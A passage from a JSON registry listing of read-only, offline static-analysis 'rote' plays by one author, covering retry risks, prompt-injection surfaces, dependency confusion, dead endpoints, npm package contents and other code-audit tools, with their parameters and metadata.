offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-workflows","job-retry-audit","tool-static-analysis","effect-read-only","retry-logic","non-idempotent-retry","double-charge","thundering-herd","backoff-without-jitter","unbounded-retries","nested-retry","missing-timeout","retrying-4xx","tenacity","p-retry","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.2.4","published_at":"2026-09-06T01:01:21.081793+00:00","visibility":"public","quality_score":1,"size_bytes":38939,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose retry logic should be audited for amplification and replay risk. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for retry logic","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ddf7b1829eb65b11678c55259b1d2d4eb504f96ed24e4048e9e2ce4155d270a9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/prompt-injection-surface@1.1.4","reference":"lgoyal6/prompt-injection-surface@1.1.4","uri":"https://play.modiqo.ai/lgoyal6/prompt-injection-surface@1.1.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/prompt-injection-surface@1.1.4","name":"prompt-injection-surface","title":"prompt-injection-surface","description":"Almost every agent codebase concatenates something into a model prompt, so a scan that flags every interpolation flags the whole repository and is worth nothing. The whole value here is the difference between two sentences: \"untrusted text reaches the prompt\" and \"untrusted text reaches the prompt AND the model can act on it\". Severity is blast radius, not pattern count. Model output flowing into a shell, SQL, a file write or a network call is critical. Untrusted text in a system prompt, or in any prompt on a call that declares tools, is high. A prompt built only from literals is not a finding and is never reported. Seven shapes are kept apart because they are seven different conversations, including the one people miss: a tool RESULT fed back to a model that still holds its tools. Four correct patterns are recognised, counted and excluded rather than reported. Python, JavaScript, TypeScript and Go. Read-only, offline, no credentials, never executes the code it reads.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-prompt-injection-audit","tool-static-analysis","effect-read-only","prompt-injection","untrusted-input","llm-security","indirect-injection","retrieved-content","tool-definition","no-delimiter","f-string-prompt","agent-security","instruction-hijack","rag","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.1.4","published_at":"2026-09-06T01:01:03.542686+00:00","visibility":"public","quality_score":1,"size_bytes":47794,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose sources should be audited for untrusted text reaching a model prompt. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4bc44d3417b9cb16aaad06469e2853aa65948c8437aaded42cf38ee2a9f6554c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/play-defect-scan@0.1.4","reference":"lgoyal6/play-defect-scan@0.1.4","uri":"https://play.modiqo.ai/lgoyal6/play-defect-scan@0.1.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/play-defect-scan@0.1.4","name":"play-defect-scan","title":"play-defect-scan","description":"Your rote play works on your machine. The real question is whether it works for a stranger who installs it, and the ways it fails them are not style problems. This checks the defect classes measured in already-published plays, ranked by when the defect produces a wrong answer. Four of them lie to a stranger on the first run. The worst is a stranded scanner: frontmatter steps that are echo stubs while the real analyzer sits in the body behind `if (import.meta.main)`, so the DAG is the whole contract and the good code never runs. Next is a relative root default, which scans rote's own workspace and reports a confident clean about a tree nobody asked about, then a missing tool preflight, whose empty result also reads as clean. Credential shapes are reported by location only; the value is never printed, not four characters of it. It NEVER executes the play it audits, not even with --help. Static reading only. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-play-defect-audit","tool-rote","effect-read-only","rote-play","play-quality","stranded-scanner","stub-step","relative-root-default","false-clean","import-meta-main","execution-model","publish-checklist","defect-classes","registry-play","audience-hackathon-builders","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.4","published_at":"2026-09-06T01:00:59.31195+00:00","visibility":"public","quality_score":1,"size_bytes":73727,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a rote play directory, or to a tree containing them. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it clean.","example":"/Users/you/.rote/flows"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to look for plays","example":"3"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print per section before the rest are summarised as a count","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6d1156ca430c84be733a9e6e88a1c10f3332f9397fcbb89d7768a804984c95c0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/pipeline-handoff@0.1.3","reference":"lgoyal6/pipeline-handoff@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/pipeline-handoff@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/pipeline-handoff@0.1.3","name":"pipeline-handoff","title":"pipeline-handoff","description":"A multi-stage pipeline passes state between stages and nothing type-checks that handoff. Stage 2 reads a field stage 1 never writes, and on the day the input shape changes it fails silently or processes nothing. This reconciles the data contract BETWEEN stages: what each stage writes against what the next one reads. Two sources, chosen because in both the graph and the values crossing it are written down. GitHub Actions, where `needs:` is the graph, `needs.<job>.outputs.x` is the read, a job's outputs map and `>> $GITHUB_OUTPUT` are the writes, and upload/download-artifact is a handoff named on both ends. And n8n workflow JSON. A consumer reading something no producer writes is critical: it has never worked, or it silently stopped. A stage whose failure cannot stop the pipeline is medium, because a broken handoff then looks exactly like success. Executes nothing: no workflow, no stage, no container, n8n never started. Values reduce to names before entering the report. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-pipeline-contract-reconciliation","tool-github-actions","tool-n8n","effect-read-only","pipeline-contract","stage-handoff","github-actions-outputs","needs-graph","github-output","upload-artifact","n8n","workflow-json","missing-output","silent-empty-result","data-contract","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:56.718289+00:00","visibility":"public","quality_score":1,"size_bytes":52707,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for pipelines - GitHub Actions workflow files and n8n workflow exports. A relative path is refused, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it clean.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to look for repositories and workflow exports","example":"3"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print per severity section before the rest are summarised as a count","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0d94fd78d3c15120370af48b37e73dfb36c7c316c328439c99b4b6cba8e7f53a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/package-ship@0.3.4","reference":"lgoyal6/package-ship@0.3.4","uri":"https://play.modiqo.ai/lgoyal6/package-ship@0.3.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/package-ship@0.3.4","name":"package-ship","title":"package-ship","description":"Reports what an npm package will actually publish, as against what its author believes it publishes. The gap between those two is where credentials and dead weight escape. Derives the tarball statically, the way npm does: the files allowlist if package.json has one, else .npmignore, else .gitignore, plus the always-included list (package.json, README, LICENSE, the main file) and the always-excluded list (.git, node_modules, .npmrc, lockfiles). Names the credentials that would ship and opens each one to confirm it holds a live value rather than a placeholder, the entry points in main, module, types, exports and bin that resolve to a path the tarball will not contain (a package that installs broken), the files patterns that match nothing, the total shipped size and the largest shipped files. Never runs npm pack, which would need a network-capable npm, execute the package prepare scripts and write a tarball into the directory under audit. Offline, read-only, no registry call, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-release-audit","tool-npm","effect-read-only","npm-publish","package-tarball","files-allowlist","npmignore","shipped-credential","broken-entry-point","package-size","dead-weight","pre-publish-check","no-npm-pack","release-hygiene","audience-maintainers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.4","published_at":"2026-09-06T01:00:48.818098+00:00","visibility":"public","quality_score":1,"size_bytes":24408,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to search for package.json manifests; each one is assessed as its own package. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to search for manifests, so a monorepo can be assessed package by package","example":"2"},{"name":"top","type":"string","required":false,"default":"10","description":"How many of the largest shipped files to name per package","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:be16101d255c9b9c18a4900147eab43e94ba7f2327891f145e38eaf9224d1a01","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":8,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/no-limit@0.1.2","reference":"lgoyal6/no-limit@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/no-limit@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/no-limit@0.1.2","name":"no-limit","title":"no-limit","description":"An outbound HTTP call, a database query, a subprocess, a whole-body read, a cache, a pagination loop: each is fine until the input is bigger than you assumed, and then whichever one has no bound takes the process down with it. This finds what has NO CEILING, ranked by what actually fails. Tier one HANGS FOREVER: an HTTP call with no timeout, a database connect or query with no bound, a subprocess with no timeout - including the ones people miss, like Go's http.Get, which always uses the zero-Timeout DefaultClient. Tier two GROWS WITHOUT BOUND: a whole read with no size cap, a module-level cache with no eviction, a Queue with no maxsize. Tier three: a pagination loop that trusts the server to tell it when to stop. A receiver that could not be resolved to a constructor is counted as UNRESOLVED and judged in neither direction. Python, JavaScript/TypeScript and Go. Argument values never print, only the call shape. Read-only, no network, executes nothing. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-engineering","job-unbounded-operation-audit","tool-static-analysis","effect-read-only","http-timeout","database-timeout","subprocess-timeout","unbounded-read","unbounded-cache","pagination-cap","retry-amplification","audience-sre","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:00:36.508906+00:00","visibility":"public","quality_score":1,"size_bytes":38485,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree to scan. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and rank it as your answer.","example":"/Users/you/code/myproject"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Cap on Python/JavaScript/TypeScript/Go files walked. A scan whose file count hits the cap is marked so a partial read is never reported as a clean one.","example":"6000"},{"name":"top","type":"string","required":false,"default":"5","description":"How many full candidate entries to print before the rest become a one-line index. Every candidate is still analysed, verified and counted.","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ceddcfea2b63b0fc7092e65310980f8608ab6e469d114380336358439be2bfe5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/flag-debt@0.1.3","reference":"lgoyal6/flag-debt@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/flag-debt@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/flag-debt@0.1.3","name":"flag-debt","title":"flag-debt","description":"Every feature flag was meant to be temporary. Which ones outlived their feature, and how much unreachable code is each one stranding? This walks every git repository under a root for three shapes of flag debt: a flag CHECKED but defined nowhere readable, so the branch that runs when it is absent is the only one that ever has; a flag DEFINED and never checked, dead configuration pretending to matter; and a flag hardcoded to a literal at its definition while still checked elsewhere, so the other branch can never run. Ranking is by how much code the flag strands: the dead branch is bounded by indentation or brace depth, the line count is reported when it resolves, and \"could not be bounded\" is said plainly when it does not. Age comes from local git alone, via `git log -S` on the file that carries the flag, so a flag unchanged for a year with both branches still standing is the headline. A flag's value is never printed, only its name and the defect. No network. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-feature-flag-debt-audit","tool-git","effect-read-only","feature-flags","dead-code","tech-debt","launchdarkly","unleash","flagsmith","flipper","config-drift","branch-reachability","audience-developers","audience-engineering-managers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:09.381921+00:00","visibility":"public","quality_score":1,"size_bytes":45640,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"top","type":"string","required":false,"default":"5","description":"How many full candidate entries to print before the rest become a one-line index. Every candidate is still analysed and verified.","example":"5"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Cap on interesting files read per repository. A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"4000"},{"name":"stale_days","type":"string","required":false,"default":"365","description":"A flag whose last change (by git log -S<flagname>) is at least this old is marked STALE. Does not change what counts as a defect, only which ones are flagged old.","example":"365"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1b0ba616ec27798c9a88999d884b3b16919a8671f6c1c1179503da04dd7feef5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/dependency-confusion@0.2.4","reference":"lgoyal6/dependency-confusion@0.2.4","uri":"https://play.modiqo.ai/lgoyal6/dependency-confusion@0.2.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/dependency-confusion@0.2.4","name":"dependency-confusion","title":"dependency-confusion","description":"An internal package name nobody claimed on the public registry can be registered by anyone, and the next install may pull theirs instead of yours. This finds which internal-looking dependencies in a repository are open to that. Four things: a dependency whose name looks internal by the repository's own publishing identity; a private-registry configuration that does not pin the scope - a bare `registry=` with no `@scope:registry`, or a pip `--extra-index-url`, which ADDS an index rather than replacing one, so pip queries both and installs the higher version; a lockfile entry for an internal-looking name that already resolves from the public registry, meaning the public copy has won; and a go.mod requiring a private host with no GOPRIVATE covering it. Read-only, offline, no network.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-supply-chain-audit","tool-static-analysis","effect-read-only","dependency-confusion","package-hijack","internal-package","npm-scope","private-registry","extra-index-url","npmrc","goprivate","lockfile","public-registry","supply-chain","typosquatting","audience-maintainers","audience-security-engineers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.2.4","published_at":"2026-09-06T00:59:45.754299+00:00","visibility":"public","quality_score":1,"size_bytes":36821,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose dependency manifests, lockfiles and registry configuration should be audited for names a public registry could hijack. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search for dependency manifests","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a936f0f33def75c018aa861739a5dd1634304517e3731336692d9b155f0b14e0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/dead-endpoint@0.1.2","reference":"lgoyal6/dead-endpoint@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/dead-endpoint@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/dead-endpoint@0.1.2","name":"dead-endpoint","title":"dead-endpoint","description":"A dead HTTP route is attack surface nobody is maintaining and probably nobody knows is there. This finds which routes a codebase registers that NOTHING in the same repository ever calls. It reads route registrations from Next.js, Express, Fastify, Hono, Koa, Flask, FastAPI, Starlette, Go net/http, chi, gorilla/mux, gin and echo, then searches the whole repository for a caller: a fetch or requests call, a supertest client, an OpenAPI path, a Postman request, a plain mention in a doc. A route whose only caller is in a test file is named test-only rather than folded in with the dead ones. A route registered twice for one method is reported as a collision, with the framework's own matching rule stated. Where a caller's static fragment still lines up, the route is kept off the dead list as reachable-but-unconfirmed. Calling a live route dead invites someone to delete it. Health checks, webhooks and OAuth callbacks are excluded with reasons. No network, nothing executed. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-dead-endpoint-detection","tool-static-analysis","effect-read-only","dead-code","unused-route","unreachable-route","attack-surface","api-inventory","express","fastapi","flask","next-app-router","go-net-http","openapi","postman","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:38.733988+00:00","visibility":"public","quality_score":1,"size_bytes":51106,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code/my-app"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"3"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Cap on files read per repository. A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"4000"},{"name":"top","type":"string","required":false,"default":"15","description":"How many full dead-route entries to print before the rest become a one-line index. Every candidate is still analysed, verified and counted.","example":"15"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:72970cf1ce221b4eb093da2a05a6ced18fe59b4d411777816cdeb5e19b3566be","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/claim-evidence-audit@0.1.3","reference":"lgoyal6/claim-evidence-audit@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/claim-evidence-audit@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/claim-evidence-audit@0.1.3","name":"claim-evidence-audit","title":"claim-evidence-audit","description":"Your CV says you cut p99 latency 40%. The repository it credits was written to a while ago, and nothing anywhere has ever checked whether that number is still in it. This audits every quantified claim a CV, portfolio page, README or bio makes about software against the repository it credits. Each claim comes back SUPPORTED, CONTRADICTED (the repository states a different figure for the same measure, so the document is now wrong rather than merely unevidenced), STALE-EVIDENCE with the age gap reported, UNSUPPORTED (which is not the same as false: the real measurement may live in a notebook or a dashboard), or UNCHECKABLE, which is counted and excluded rather than reported as a problem. The document is a personal one, so no phone number, email or address in it is ever printed. Read-only and offline; it never edits the document or runs a benchmark.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-documentation-audit","tool-markdown","effect-read-only","resume-claims","cv-claims","portfolio","readme-claims","quantified-claims","benchmark-evidence","coverage-report","unsupported-claim","contradicted-claim","stale-evidence","metric-drift","interview-prep","audience-job-seekers","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:27.777488+00:00","visibility":"public","quality_score":1,"size_bytes":38605,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"document","type":"string","required":true,"description":"ABSOLUTE path to the document under audit (.tex, .md, .markdown, .txt, .rst, .org, .html). A relative path is refused, because a process step runs in rote's own workspace and would audit nothing.","example":"/Users/you/Documents/cv.tex"},{"name":"repo_root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding the repositories the document credits. Searched three levels deep for git work trees, hidden directories pruned.","example":"/Users/you/code"},{"name":"repos","type":"string","required":false,"default":"","description":"Optional comma-separated ABSOLUTE repository paths to audit instead of discovering them. Prefer this when you know which projects the document credits; frequency-ranked discovery cannot read intent.","example":"/Users/you/code/gateway,/Users/you/code/storage"},{"name":"max_repos","type":"string","required":false,"default":"12","description":"Cap on how many discovered repositories are audited, most-named first. Ignored when repos is set.","example":"6"},{"name":"stale_days","type":"string","required":false,"default":"180","description":"How far an evidence file may lag the repository's newest commit before a matching figure is reported as STALE-EVIDENCE instead of SUPPORTED.","example":"365"},{"name":"author","type":"string","required":false,"default":"","description":"Optional git author name or e-mail to test claim-to-repository attribution against. Left empty, attribution is not checked at all rather than guessed.","example":"lgoyal6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ec5922af42aef47b430bd0fb25de064ad8b2662d3d14cba2cebb898ee1873d89","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/cache-key-scope@1.1.4","reference":"lgoyal6/cache-key-scope@1.1.4","uri":"https://play.modiqo.ai/lgoyal6/cache-key-scope@1.1.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/cache-key-scope@1.1.4","name":"cache-key-scope","title":"cache-key-scope","description":"A cache key that omits something the value depends on serves one caller's data to another. It is invisible in testing, because you need two different callers to see it. This finds five shapes, ranked by who can see what. Critical, because they cross a trust boundary: a cache write whose value derives from a user, tenant or session identifier that is absent from the key; and a response marked `public` or `s-maxage`, from a handler that reads an Authorization header or a cookie, with no `Vary`, which leaks through a shared cache rather than in-process. High: a key built from a subset of the parameters that influence the value, and a memoisation decorator on a function whose result depends on request state or a module global. Medium: a key omitting a locale, 